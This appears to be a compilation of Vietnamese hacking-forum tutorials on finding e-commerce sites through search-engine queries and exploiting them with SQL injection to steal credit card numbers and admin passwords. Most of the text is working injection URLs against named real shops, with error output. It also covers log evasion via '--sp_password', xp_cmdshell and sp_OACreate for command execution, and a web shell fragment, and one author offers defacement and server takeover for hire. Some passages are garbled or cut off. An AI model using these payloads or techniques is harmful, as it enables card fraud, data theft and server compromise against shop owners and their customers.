trên, hãy tận dụng lỗi và thử từng cái một , nhiều khi làwww.victim.com/muaban/fpdb/shop.mdb vì vậy nếu bạn xài
cách này hãy linh hoạt trong link tuỳ vào từng site! <----copy by h4a......
lên google tìm từ khóa
"inurl:commerce.cgi"
Rồi okie số địa chỉ online đang chờ đón
vd:
ta có site
<http://www.warresisters.org/store/commerce.cgi>?
xóa cái commerce.cgi? đi thay bằng Admin_files/commerce_user_lib.pl
ta sẽ được
## This file contains the user specific variables
## necessary for Commerce.cgi
$sc_sales_tax = ".0825";
$sc_sales_tax_state = "NY";
$sc_send_order_to_email = "yes";
$sc_order_log_name = "onlinebookstore.log";
$sc_send_order_to_log = "yes";
$shipping_percentage = ".15";
$sc_order_email = "wrl\@igc.org";
$sc_root_url = "http://www.warresisters.org/store";
$sc_admin_email = "lit\@warresisters.org";
$sc_domain_name_for_cookie = ".warresisters.org";
$sc_order_script_url = "https://secure.serve.com/resist/store/commerce.cgi";
$sc_root_web_path = "/home/serve/resist/Html/Products";
$sc_path_for_cookie = "/store";
$path_to_html = "../Html";
1;
xóa cái commerce_user_lib.pl đi thay bằng onlinebookstore.log (tìm ở $sc_order_log_name ) và ....
Việc tiếp theo là thuộc về bạn
------------------------------------------------------------------------------------------------
Vào google gõ từ khoá tek9.aspta được link có dạng tương tự như thế này
https://ionicpurifier.com/tek9.asp?pg=orders&mode=search
bắy đầu từ /tek9.asp/ gõ thêm /intranethttps://ionicpurifier.com/intranet/tek9.asp...ers&mode=search
Sau đó đăng nhập với user và pass 'or''='nếu may mắn thì sẽ vào được , và ăn cc tha hồ
còn rất nhiều site bị lỗi này
------------------------------------------------------------------------------------------------
Search keyword in google.com.vn : " Shoping /admin "
http://shopping.richardhealey.com/admin_login.asp
http://families-online.org/admin_login.asp
Detail:
search tren cac trang search engine tuy anh em thich thoi,hien co rat nhieu trang search engine ma anh
em thuong dung nhu
http://www.google.com/ hoachttp://www.froogle.google.com/
http://www.av.com/
http://www.alltheweb.com/
yahoo.com
......
ok----search for: allinurl: "/shop/viewproduct.asp" hoac may bac co the search = tu key word allinurl:
"/shop/index.asp" (nhung cai tu khoa nay van chua xac nhan duoc tinh dung dan cua no,vi no cho ra
tat rat nhieu site,ma ko phai ODBC MySQL database,hic,ma thuong la` JSP(java server page) hoac
JET, hoac VB.net....net va de nay can phai co su no luc cua anh em trong viec test.
ok
co' duoc muc tieu roi chon dai 1 thang,vd:
http://www.mcmessentials.com.au/shop/viewp...20&categoryid=5
http://www.mcmessentials.com.au/shop/viewp...20&categoryid=5
okay co muc tieu roi bat dau test no ha
http://www.mcmessentials.com.au/shop/viewp...tegoryid=5'
neu CSDL cua no duoc viet = ODBC MySQL server thi anh em se nhan duoc thong bao sau
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ''.
/shop/include/viewproduct.asp, line 3
okay,con neu ko thi ko thay gi het,hoac la` ban phai xem trong source de biet.
thuong thi test = cau truy van (space)having 1=1--sp_password la duoc duyet qua ok
*luu y' cac anh em 1 dieu rat can thiet
1--%2b co nghia la dau + nhung ma truyen truc tiep dau + vao se bi SQL filter mat bat buoc phai co --sp_password de
marks log tranh bi phat hien
http://www.mcmessentials.com.au/shop/viewp...=1--sp_password
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'categories.label' is invalid in the select list because it is
not contained in an aggregate function and there is no GROUP BY clause.
/shop/include/viewproduct.asp, line 9
ta biet duoc table categories,column la label,bay gio ta di lay tat ca cac table cua column label thuoc table categories
bay gio di lay user_name cua shop thong qua cau truy van sau
%2bconvert(int,user_name())--sp_password
day du la`
http://www.mcmessentials.com.au/shop/viewp...))--sp_password
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'braunshop' to a
column of data type int.
/shop/include/viewproduct.asp, line 3
'braunshop' la truong user_name cua shop
*luu y
2--truong user_name() la de xac dinh user hien tai,neu no la dbo thi ta co kha nang hack thang vao ca server ma ko can
quyen admin,con neu ko thi ta co nhung buoc trung gian de chiem,ok ta dung lai o viec lay cc tu shop ma thoi,ko noi
den chuyen chiem ca server,much dich de anh em hoc hoi,va trao doi kinh nghiem la chinh,ko loi keo anh em pha hoai
nghiem trong den bat cu ai khac nen toi chi post va dung lai o phan lay cc ma thoi,con neu ai co thu oan gi voi thang
nao,muon deface,lay pass,lay root,lay server,host thi lien he voi toi
ok bay gio ta se lan luot lay cac table tren column label
lay table thu 1 thong qua cau truy van sau
%2bconvert(int,(select%20top%201%20table_name%20fr om%20information_schema.tables))--sp_password
day du la`
http://www.mcmessentials.com.au/shop/viewp...))--sp_password
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'categorieslist' to a
column of data type int.
/shop/include/viewproduct.asp, line 3
ok table 1 la 'categorieslist',muon lay table thu 2 thi phai dung den where table_name not in('table1')
%2bconvert(int,(select%20top%201%20table_name%20fr om%20information_schema.tables%20where%
20table_name%20not%
20in('categorieslist')))--sp_password
http://www.mcmessentials.com.au/shop/viewp...))--sp_password
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'allorders' to a column
of data type int.
/shop/include/viewproduct.asp, line 3
table 2 la` 'allorders'
muon lay table thu 3 va cac table co lai thi tiep tu lam tuong tu nhu lay table thu 2 vay
%2bconvert(int,(select%20top%201%20table_name%20fr om%20information_schema.tables%20where%
20table_name%20not%
20in('categorieslist','allorders')))--sp_password
http://www.mcmessentials.com.au/shop/viewp...))--sp_password
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'orderid' to a column
of data type int.
/shop/include/viewproduct.asp, line 3
column dau tien la` 'orderid'
lay column thu 2 thi can them and column_name not in('orderid')
http://www.mcmessentials.com.au/shop/viewp...))--sp_password
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'created' to a column
of data type int.
/shop/include/viewproduct.asp, line 3
va lan luot lay cho het cac column cua table 'orders'
khi anh em da lay duoc tat ca cac column cua table 'orders'roi thi chi con viec sau cung hap dan nhat ma thoi,do la lay
cc,anh em hay viet thanh 1 cau truy van de lay cc dua vao tat ca cac column cua anh em nhan duoc,moi shop no co cac
field database khac nhau,nhung hau het cac shop duoc search duoi dang allinurl: "/shop?viewproduct.asp" thi chi co 1
kieu truy van duy nhat,vi em da thu qua tat ca roi hhihihi cai nao cung ok ca
may anh em khoi mat cong xap xep lai de viet thang cau truy van chi cho met,toi dua luon cho anh em xai choi
lay' cc thu 2 thi ta them vao o sao ....from orders where cardnumber not in('so card dau tien')
va lan luot lay het cac credit card co tren do'
nhu cai shop o tren thi de dung cho may bac thuc tap va de co them kinh nghiem ma thoi,vi day chi de hoc hoi,ko
nham muc dich pha hoai bat cu ai .
Hack Sql Inject nâng cao
thì 'id','forename' và 'surname' là column của table author,khi câu truy vấn trên làm việc thì nó sẽ cho kết quả tất cã các
dòng trong table author.Xem câu truy vấn sau:
select id, forename, surname from authors where forename = 'john' and surname = 'smith'
Đây là câu truy vấn có điều kiện chắc không nói các bạn cũng biết,nó cho ra kết quả tất cã những ai trong csdl với
forename = 'john' and surname = 'smith'
Vì vậy khi vào giá trị đầu vào không đúng như trong csdl liệu:
Forename: jo'hn
Surname: smith
select id, forename, surname from authors where forename = 'jo'hn' and surname = 'smith'
Câu truy vấn trên khi được xử lý thì nó sẽ phát sinh lổi:
Lý do là ta lồng vào dấu nháy đơn "'" và giá trị vào trở thành 'hn' sai so với csdl vậy sẽ phát sinh lổi lợi dụng cái này
attacker có thể xoá dữ liệu của bạn như sau:
<HEAD>
<TITLE>Login Page</TITLE>
</HEAD>
<CENTER><H1>Login</H1>
<TABLE>
Page 4
width=100></INPUT></TD></TR>
width=100></INPUT></TD></TR>
</TABLE>
</FORM>
</FONT>
</BODY>
</HTML>
<HTML>
<STYLE>
p { font-size=20pt ! important}
<%
Response.write( str );
function Login( cn )
var username;
var password;
username = Request.form("username");
password = Request.form("password");
var sql = "select * from users where username = '" + username + "'
rso.open( sql, cn );
if (rso.EOF)
rso.close();
%>
<H1>
<BR><BR>
<CENTER>ACCESS DENIED</CENTER>
</H1>
</BODY>
</HTML>
<%
Response.end
return;
else
%>
<H1>
<CENTER>ACCESS GRANTED<BR>
<BR>
Welcome,
<% Response.write(rso("Username"));
Response.write( "</BODY></HTML>" );
Response.end
}
function Main()
//Set up connection
var username
Login( cn );
cn.close();
Main();
%>
var sql = "select * from users where username = '" + username + "'
Password:
thì table 'user; sẽ bị xoá,và ta có thể vượt qua bằng cách sau:bypass các bạn biết hết rồi tôi không nói lại nữa
Ơ trường username hacker có thể vào như sau:
username varchar(255),
password varchar(255),
privs int
và insert vào:
insert into users values( 0, 'admin', 'r00tr0x!', 0xffff )
Các hacker sẽ biết được kết quả các column và table qua câu truy vấn having 1=1
/process_login.asp, line 35
/process_login.asp, line 35
>> biết được column 'username'
Cho đến khi không còn báo lổi thì dừng lại
vậy là bạn đã biết table và column cần khai thác rồi,bây giờ đến đi lấy giá trị của nó:
Để xác định nội dung của column ta dùng hàm sum()
/process_login.asp, line 35
Username: '; insert into users values( 666, 'attacker', 'foobar', 0xffff)--
the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug
/process_login.asp, line 35
có thể dùng convert() nhưng tôi chỉ các bạn dùng union ,các bạn thử đọc nội dung của các user trogn table như sau:
Username: ' union select min(username),1,1,1 from users where username > 'a'--
Chọn giá trị nhỏ nhất của username và cho nó lớn hơn 'a' > phát sinh lổi:
/process_login.asp, line 35
/process_login.asp, line 35
Username: ' union select password,1,1,1 from users where username ='admin'--
/process_login.asp, line 35
Đây là kỹ thuật mà bạn có thể lấy được user một cách cao cấp:
set @ret=':'
username>@ret
end
/process_login.asp, line 35
Một hacker khi điều kiển được csdl thì họ muốn xa hơn đó là điều khiển hệ thống mạng của server đó luôn,một trong
số cách đó:
5-Sữ dung 'bulk insert' để đọc bất cứ file nào trên hệ thống
6-Sữ dụng bcp để tạo quền cho text file trên server
7-Sữ dụng sp_OACreate, sp_OAMethod and sp_OAGetProperty để tạo script (ActiveX) chạy trên server
[xp_cmdshell]
Chắc các bạn cũng nghe nhiều rồi ví dụ:
Sữ dụng để thi hành các lệnh của dos vvv.. rất hưu hiệu
[xp_regread]
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
Ví dụ:
'SYSTEM\CurrentControlSet\Services\lanmanserver\pa rameters','nullsessionshares'
services:
Sữ dụng 'bulk insert' để chèn text file vào thư mục hiện thời,tạo table đơn:
VD:
declare @o int
Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.
exe'--
while( @ret = 0 )
begin
print @line
end
'c:\inetpub\wwwroot\foo.asp', 1
request.querystring("cmd") ) %>'
Đây là những cách bạn có thể dùng rất hiệu quả,bạn hãy sáng tạo thêm cho mình từ những chỉ dẫn cơ bản này.
HACK SHOP LẤY CREDITCARD BẰNG LỖI INJECTION SQL
CHI TIẾT NHẤT-CÓ SHOP THỰC HÀNH
- Tìm và xác định lỗi Injection SQL:
Đến nay vẫn chưa có một từ khoá nào giúp các bạn tìm ra shop sử dụng SQL, vì vậy cần xác định site shop dùng SQL
để hack, thường thì nên dùng từ khoá "shopping asp", "Product", "VP-ASP shopping"...
Sau khi tìm được shop dùng SQL, tại câu lệnh có đoạn cuối tương tự sau: store/viewProduct.asp?ec_products=6620 ta
kiểm tra lỗi bằng cách thêm dấu (‘) vào sau dấu (=),
ví dụ:http://ppmsddev.ctsg.com/store/viewProduct.asp?ec_products=6620'
Nếu hiện thông báo lỗi (chú ý chỗ in đậm):
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ' ORDER
BY viewOrder ASC'.
/store/viewProduct.asp, line 114
Ví dụ:http://ppmsddev.ctsg.com/store/viewProduct.asp?ec_products=6620%20%2bconvert(int,(select%20top%20 1%
20table_name%20from%20information_schema.tables))--sp_password
- Đây là 3 câu lệnh cơ bản bạn cần dùng trong quá trình hack lỗi Injection SQL:
Để khai thác dữ liệu kế tiếp trên cùng một table bằng:where tên_column not in
%20%2bconvert(int,(select%20top%201têncolumn%2B'/'%2btêncolum%20from%20tên_table_khai_thác%20where%
20tên_colum_chứa_dữ_liệu_đã_có%20not%20in('dữ_liệu_đã_có_của_column_khai_báo_phía_trước)))--sp_password
Kết quả:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'donations' to a
column of data type int.
/store/viewProduct.asp, line 114
'donations' là table đầu tiên
3/ Table thứ 3:
http://ppmsddev.ctsg.com/store/viewProduct.asp?ec_products=6620%20%2bconvert(int,(select%20top%20 1%
20table_name%20from%20information_schema.tables%20where%20table_name%20not%20in
('donations' ,'Editor')))--sp_password
Kết quả:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'bills' to a column of
data type int.
/store/viewProduct.asp, line 114
Và các bạn làm tương tự để lấy hết table, đến khi không xuất hiện thêm table là hết.
Kết quả:
http://ppmsddev.ctsg.com/store/viewProduct.asp?ec_products=6620%20%2bconvert(int,(select%20top%20 1%
20table_name%20from%20information_schema.tables%20where%20table_name%20not%20in
('donations' ,'Editor','bills','bills_20040213','billsCandidate s','billsCandidates_20040213','billsCandidatesImpo
rt','candidates','candidates_20040213','candidates New','contribute','dtproperties','ec_categories','
ec_orders','ec_priceBreaks','ec_products','ec_regi on','ec_shippers','ec_shippingOrders','ec_supplier
s','ec_territory','Editor_letters','Editor_queue', 'Editor_recipients','emailUpdates','MinnesotaHouse
RollCallVotes','MinnesotaSenateRollCallVotes','off ices','parties','party','Postcards','PostcardsBlac
klist','ppmsd','sbEntries','siteSection','storetem p','stories','storyCategories','subjects','syscons
traints','syssegments','tblConstitutionalOfficerSl ate','tblConstitutionalOfficerSlate$','tblStateLeg
2002_Query','users','users_choice','vw_contribute_ pending','vw_contribute_processed')))--sp_password
Tương tự bạn có thể làm với các table khác để lấy dữ liệu của admin, customer...
IV/ Một số kinh nghiệm trong quá trình hack shop bằng lỗi Injection SQL:
- Sau khi phát hiện site lỗi Injecton SQL, bạn nên mua thử một món hàng nào đấy trên site này để kiểm tra các thông
tin sau: có cho phép dùng CC mua không, CC có cvv2, thanh toán online trên site bị lỗi hay trên một site khác,
customer đăng nhập mua hàng có dùng password không...tất cả những thông tin liên quan đến việc mua bán để xác
định có nên hack site này không.
- Nên khai thác đầu tiên là creditcard_number , nếu không có, có khả năng site đã fix dữ liệu hoặc dùng một site khác
để thanh toán.
- Khi lấy được user/pass của admin cần dùng nó để đăng nhập server với giao thức ftp, ví dụ:ftp://ppmsddev.ctsg.com/,
nếu maymắn bạn có thể làm chủ server và không cần phải phí công nhiều trong khi hack.
- Thường các site này hay dấu link để đăng nhập quyền admin, bạn cần chịu khó tìm, và dùng chương trình scan Url
của trang này để tìm trang đăng nhập.
- Có một số trường hợp, site bị lỗi Injectjon nhưng hiện trang báo lỗi: The page cannot be
displayed, bạn cần chú ý phía bên dưới để phát hiện thông báo lỗi của Injection SQL, ví dụ:
The page cannot be displayed
There is a problem with the page you are trying to reach and it cannot be displayed.
...................
HTTP 500.100 - Internal Server Error - ASP error
Internet Information Services
Technical Information (for support personnel)
Error Type:
Provider ('80040e14')
Type mismatch.
/shopping/shop$db.asp, line 875
Browser Type:
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
Page:
GET /shopping/shopdisplayproducts.asp
Time:
Friday, February 27, 2004, 11:20:19 PM
More information:
Microsoft Supporthttp://www.microsoft.com/ContentRedirect.asp?
prd=iis&sbp=&pver=5.0&ID=500;100&cat=Provider&os=&over=&hrd=&Opt1=&Opt2=%
2D2147352571&Opt3=Type+mismatch%2E
TUTORIAL NAØY KHOÂNG BIEÁT TAÙC GIAÛ
Thực ra thì cái lỗi này có từ lâu rồi , nhưng các bạn biết tại sao mà nó còn nhiều không , rất nhiều , rất nhiều . Bỡi vì
đơn giản là " nhác " . Jet database có nhiều cách , nhưng làm theo cách này newbie dễ hiễu và cũng không cần làm gì
ngoài việc thêm dòng lệnh sau url bị lỗi cả .Bắt đầu
1. Vào google search từ khoá :proddetail.asp?prod=* < * ỡ đây các bạn có thễ thay thế = bất cứ số nào 1, 2,3 ... hay
100 , 200 , tuỳ >
2. Thêm dấu ' đễ tìm site có lỗi
3. Nhận biết site có lỗi = dòng sau
CODE
Microsoft JET Database Engine error '80040e14'
The number of columns in the two selected tables or queries of a union query do not match.
/Retail/vsadmin/inc/incproddetail.asp, line 33
4. Ví dụ cụ thễ , tôi check thữ sitehttp://www.kleer-fax.com/proddetail.asp?prod=23305
Thêm dấu ' vào sau 23305 ok ??
Lỗi hiện ra
CODE
Microsoft JET Database Engine error '80040e14'
Syntax error in string in query _expression 'pId='23305'''.
/proddetail.asp, line 246
Bắt đầu khai thác nhé các bạn , tìm table và collumn của nó = lệnh truy vấn sau :
QUOTE
%27union%20select%201%20from%20admin
QUOTE
Microsoft JET Database Engine error '80040e14'
The number of columns in the two selected tables or queries of a union
query do not match.
/proddetail.asp, line 246
Á , sai rùi , đùa đấy , lỗi vừa rồi nói rằng : có tồn tại giá trị collumn chứa thông tin admin á , check tiếp
Thêm ,2 vào sau select%201 .
CODE
http://www.kleer-fax.com/proddetail.asp?prod=23305%27%20union%20select% 201,2%20from%20admin
A nó cũng báo y như trên
CODE
Microsoft JET Database Engine error '80040e14'
The number of columns in the two selected tables or queries of a union
query do not match.
/proddetail.asp, line 246
Khi vẫn chưa tìm ra được cái minh cần thì các bạn cứ thêm lần lượt ,3,4,5,6,7,8 vào tiếp cho đến khi :
QUOTE
Home : All Products
4-5-6
201
Hehe đây chính là cái ta cần tìm . Và dãy số ta cần thêm vào ỡ trên kết thúc đến số 14 < May mà mới đến số 14 , ko
nãn >
Chú ý số 7 và 201 nhé , đó là thông tin củ a 2 columb chứ a thông tin Admin ( user/ pass)
Ta thay câu lệnh truy vấ n user và pass admin và o vi trí
̣ 201 và 7
Mệt quá , :( đến tận số 201 , ai muốn học tập thì đánh đến số 201 nha :D
Đễ tiện các bạn test mình giả sữ số 201 là số 1 thì câu truy vấn sẽ là
CODE
http://www.kleer-fax.com/proddetail.asp?prod=23305%27and%201=0%20union% 20select%201%2c2%2c%
27username:%20%27%2badminuser%2c4%2c5%2c6%2c%27password:%20%27%2badminpassword%2c8%2c9%
2c10%2c11%2c12%2c13%2c14%20from%20admin
Đó , các bạn đánh đến số 200 rùi đến 201 thì thay = adminpassword :D . Lúc đó sẽ hiện ra những dòng sau
QUOTE
Please choose from the list below.
Chú ý : Khi union đươ ̣c mà ko bá o lỗi thì mớ i dù ng and 1=0
TUTORIAL FROM HCV
---- Đây là phương pháp hack lỗi SQL nâng cao đối với các shop VP-ASP. Được sự giúp đỡ của 1 admin trong HCV
hiện tại Quoc xin được chia sẻ với các bạn
**********************************************
Vuln: SQL Inject in VP-ASP all of version
Exploiter: Unknown
Tool: Mozilla Firefox Download
**********************************************
Đầu tiên, bạn phải tìm ra shop của victim
Công cụ:http://google.com/
Keyword: shopdisplayproducts.asp?
shopaddtocart.asp?
shopexd.asp
Các bạn tự tìm thêm key cho mình nhé.
Sau đó chúng ta thêm dấu ' vao phía sau link thành như sau
CODE
https://www.sfp.net/shopaddtocart.asp?catalogid=1'
---- Tìm chữ đầu tiên trong link admin, các bạn thêm dòng lệnh này vao phía sau link trên nhé
CODE
https://www.sfp.net/shopaddtocart.asp?catalogid=1%20or%201=(select%20fieldname%20from%20configuration%
20where%20left(fieldname,10)='xadminpage'%20and%20left(fieldvalue,1)='s')
Chúng ta sẽ thay dần giá trị 's' sao cho ứng với kí tự đầu tiên của link
Ở đây tui tìm được là kí tự 'a'
---- Sau đó tìm tiếp chiều dài của link admin (thường thì tu gia trị thứ 5 trở đi vì link admin sẽ có thêm .asp ví du
admin.asp <--- có 9 kí tự)
CODE
https://www.sfp.net/shopaddtocart.asp?catalogid=1%20or%201=(select%20fieldname%20from%20configuration%
20where%20left(fieldname,10)='xadminpage'%20and%20left(fieldvalue,1)='a' and len(fieldvalue)=5)
Thay tiếp giá trị 5 thành các giá trị số cho đến khi tìm được đúng chiều dài của link admin.
Ở đây mình tìm được là 15 ki tự
---- Tiếp theo tìm các kí tự còn lại trong link admin nhé.
CODE
https://www.sfp.net/shopaddtocart.asp?catalogid=1%20or%201=(select%20fieldname%20from%20configuration%
20where%20left(fieldname,10)='xadminpage'%20and%20left(fieldvalue,2)='ad')
Thay đổi dần giá trị trong lệnh left ứng với vị trí kí tự của link admin.
Cũng tương tự như trên chỉ cần thay fldusername bằng fldpassword
Các bạn thêm câu truy vấn này phía sau link nhé
CODE
%20or%201=(select%20fldpassword%20from%20tbluser%20where%fldusername='sfp' and left(fldpassword,1)='p')
Tìm password tương ứng với username là "sfp". Chữ đầu tiên là 'p'
*************************************************************
user: sfp
pass: performance
TUTORIAL BY CONGLAPHVA
-Vào www.google.com.vn đánh vào
-allinurl:'/product.asp/'
-allinurl:'/product.asp?productid/'
-allinurl:'/logint.asp'
-Kiểm tra lỗi:http://www.victim.com/store/category.asp?CategoryID=83' ( ta chỉ cần đánh vào dấu ' để test lỗi )
-Kết quả:
http://www.victim.com/store/category.asp?CategoryID=83%20and%201=convert(int,(select%20top%201%
20table_name%20from%20information_schema.tables))--sp_password
Kết quả:
Syntax error converting the nvarchar value 'StateTaxes' to a column of data type int.
Như vậy ta có table đầu tiên là StateTaxes. Lấy tiếp table thứ hai :
http://www.victim.com/store/category.asp?CategoryID=82%20and%201=convert(int,(select%20top%201%
20table_name%20from%20information_schema.tables%20where%20table_name%20not%20in%20('StateTaxes')))--
sp_password
Kết quả:
Syntax error converting the nvarchar value 'BillingAddresses' to a column of data type int.
http://www.victim.com/store/category.asp?CategoryID=82%20and%201=convert(int,(select%20top%201%
20table_name%20from%20information_schema.tables%20where%20table_name%20not%20in%20
('StateTaxes','BillingAddresses')))--sp_password
Kết quả:
Syntax error converting the nvarchar value 'Categories' to a column of data type int.
các bạn cứ lấy kết quả của table thứ 3 (chữ màu xanh) thay thế vào sau table 3 là lấy được toàn bộ table của site này
VD:
http://www.victim.com/store/category.asp?CategoryID=82%20and%201=convert(int,(select%20top%201%
20table_name%20from%20information_schema.tables%20where%20table_name%20not%20in%20
('StateTaxes','BillingAddresses','Categories')))--sp_password
CC thường chứa trong các table Orders hay creditcard, ở đây tôi chọn Orders để hack. Lấy Column đầu tiên
http://www.victim.com/store/category.asp?CategoryID=83%20and%201=convert(int,(select%20top%201%
20column_name%20from%20information_schema.columns%20where%20table_name=('Orders')))--sp_password
Kết quả:
Syntax error converting the nvarchar value 'OrderID' to a column of data type int.
/store/includes/common.asp, line 2116
Provider for SQL Server error '80040e07'
Syntax error converting the nvarchar value 'DateCreated' to a column of data type int.
Ta lần lượt lấy hết coloum của table này, có kết quả như sau:
http://www.victim.com/store/category.asp?CategoryID=83%20and%201=convert(int,(select%20top%201%
20column_name%20from%20information_schema.columns%20where%20table_name=('Orders')%20and%
20column_name%20not%20in%20
('OrderID','DateCreated','MemberID','ShippingMethod','Company','FirstName','LastName','Address1','Address2','City','
State','Zip','ForeignAddress','Country','Phone','Fax','Email','CardName','CardType','CardNumber','ExpirationDate','Car
dAddress','CardZip','ShippingAddress1','SubTotal','Discount','DiscountDescription','Tax','Shipping','OrderTotal','PONu
mber','ResaleNumber','Handling','Comments','Referer','StoreName','ShippingCompany','ShippingFirstName','Shipping
LastName','ShippingAddress2','ShippingCity','ShippingState','ShippingZip','ShippingForeignAddress','ShippingCountr
y','ShippingPhone','ShippingFax','CardVerification','CardVerificationNone','CardVerificationRead','PhoneOrder','FRE
EShippingMethod')))--sp_password
http://www.victim.com/store/category.asp?CategoryID=82%20and%201=convert(int,(select%20top%201%
20CardName%2b'/'%2bAddress1%2b'/'%2bCity%2b'/'%2bState%2b'/'%2bZip%2b'/'%2bPhone%2b'/'%2bCountry%
2b'/'%2bCardNumber%2b'/'%2bExpirationDate%20from%20Orders))--sp_password
tìm được cc đầu tiên,các bạn dùng link này để lấy cc thứ 2 và tiếp tục
http://www.victim.com/store/category.asp?CategoryID=82%20and%201=(select%20top%201%20CardName%2b%
27/%27%2bAddress1%2b%27/%27%2bCity%2b%27/%27%2bState%2b%27/%27%2bZip%2b%27/%27%2bPhone%
2b%27/%27%2bCountry%2b%27/%27%2bCardNumber%2b%27/%27%2bExpirationDate%20from%20Orders%
20where%20CardNumber%20not%20in('XXXXXXXXXXXXXXX')%20)
Llấy được cc thứ 2 thì lấy số number của card đó thêm vào sau link trên chỗ 'XXXXXXXXXXXXXXXX'
TUTORIAL BY SEAMOUN
Tôi thấy các bạn quan tâm nhiều đến hack shop VPASP, nên tôi viết một bài để các tham khảo, mặc dù cũ nhưng tôi
thấy cũng còn nhiều Web bị lỗi này.
VPASP khỏi cần nói các bạn cũng biết đó là Shopping Cart. Phiên bản bị lỗi SQL - Injection là 4.5 và 5.0 còn những
phiên bản mới thì tôi không có source để
Vì VPASP thường sử dụng cơ sở dữ liệu MS Access cho nên việc ngắt lệnh như SQL - Server là không thể cho nên chỉ
còn một cách là hợp lệnh SQL để lấy
Bước 1: Vào Google.com, tìm cụm từ sau: allinurl: shopdisplaycategories.asp. Bạn sẽ thấy ra cả đống site. Kiểm tra
link xem có bị lỗi SQL - Injection hay
không ?
Bước 2:
Đối với phiên bản VPASP 4.5 thì lỗi tại file shopdisplaycategories.asp và shopdisplayproducts.asp. Ở phiên bản
VPASP 5.0 thì đã sửa lỗi hai file trên nhưng
Ví dụ site sau:
http://www.hopscotchdressingup.co.uk/store/shopdisplayproducts.asp?id=8'&cat=Halloween.
Mặc dù ta đã thêm ' ở tại shopdisplayproducts.asp?id=8' nhưng vẫn không bị lỗi. Ta thử tiếp file link sau :
http://www.hopscotchdressingup.co.uk/store/shopexd.asp?id=149'. Nó xuất hiện lỗi
Bước 3:
Ta thực hiện gộp lệnh để lấy giá trị username và password như sau:
Link ban đầu :http://www.hopscotchdressingup.co.uk/store/shopexd.asp?id=149
Link gộp truy vấn : http://www.hopscotchdressingup.co.uk/store/shopexd.asp?id=-1 union select catalogid,ccode,
fldusername%2b'/'% 2bfldpassword,cdescription,cprice,ccategory,cdescurl,features,cimageurl,cstock,w
eight,mfg,pother1,pother2,pother3,subcategoryid,retailprice,specialoffer,categor
y,buttonimage,cdateavailable,allowusertext,pother4,pother5,userid,keywords,templ
ate,extendedimage,extendeddesc,selectlist,level3,level4,level5,minimumquantity,s
upplierid,crossselling,hide,productmatch,customermatch,orderattachment,orderdown
load,groupfordiscount,clanguage,points,pointstobuy,price2,price3,billprice,billi
nstallments,billinstallmenttype,billinterval,maximumquantity,frontpage from products,tbluser where catalogid=149
.
Các bạn sẽ hỏi là cái đống hỗn độn ở link trên lấy ở đâu ra?Hì hì chỉ đọc source VPASP mới biết nó gồm những trường
nào trong bản product rồi từ đó gộp
lệnh cho đủ các trường và thay thế trường tên của sản phầm bằng trường username và password. Sở dĩ ta phải cho
id=-1 để ngắt lệnh SQL thứ nhất khi
Sau khi hợp SQL ta sẽ có kết quả user và password là "Sy87XXXXX/gL37ytXXXXX" là hai giá trị được thay thế tại
tên của sản phẩm.
Như vậy ta đã có user và password của admin rồi. Mừng quá login vào shopadmin.asp thôi !. Thông thường thì tên file
Admin ControlPanel là
Bước 4: Ta truy cập vào http://www.hopscotchdressingup.co.uk/store/shopadmin.asp thử xem thế nào? Chà ! file nó
đổi tên mất rồi. Làm sao đây ? Tiếp tục gộp lệnh để lấy tên file đã thay đổi thôi !
Cũng với link http://www.hopscotchdressingup.co.uk/store/shopexd.asp?id=149 ta gộp lệnh như sau để lấy tên file
truy cập vào Admin Control Panel.
http://www.hopscotchdressingup.co.uk/store/shopexd.asp?id=-1 union select catalogid,ccode,fieldvalue,cdescription,
cprice,ccategory,cdescurl,features,cimag
eurl,cstock,weight,mfg,pother1,pother2,pother3,subcategoryid,retailprice,special
offer,category,buttonimage,cdateavailable,allowusertext,pother4,pother5,userid,k
eywords,template,extendedimage,extendeddesc,selectlist,level3,level4,level5,mini
mumquantity,supplierid,crossselling,hide,productmatch,customermatch,orderattachm
ent,orderdownload,groupfordiscount,clanguage,points,pointstobuy,price2,price3,bi
llprice,billinstallments,billinstallmenttype,billinterval,maximumquantity,frontp
age from products,configuration where fieldname='xadminpage' and catalogid=149
Sau khi thực hiện ta đã có tên file truy cập vào Admin Control Panel là hopoff.asp
Panel
Ví dụ : http://<site bị lỗi>/shopdisplaycategories.asp?id=1 chẳng hạn. Thì lệnh gộp lấy username, password và tên file
admin như sau
Site VPASP sử dụng cơ sở dữ liệu SQL - Server thì quá dễ để khai thác như sau
http://<site bị lỗi>/shopdisplaycategories.asp?id=1
and%201=convert(int,(select%20top%201%20fldusername%2b'/'%2bfldpassword%20from%20tbluser))--
sp_password
fieldname='xadminpage'))--sp_password
PS: Mấy you thực hành thì đừng có file site của họ nha !
TUTORIAL BY GAMMA95
Một trong những câu hỏi thường gặp nhất khi các bạn đi hack website mà hệ quản trị CSDL nó xài Access là “Tại sao
lúc thì dùng Union exploit được nhưng lúc thì lại là 1 cái error khó chịu tương tự thế này
Error Type:
Microsoft JET Database Engine (0x80004005)
Syntax error in FROM clause. “
bắn ra ??và liệu có thể có các nào khai thác tiếp được ko ,xin thưa rằng sở dĩ chúng ta bị như vậy chẳng qua Access ko
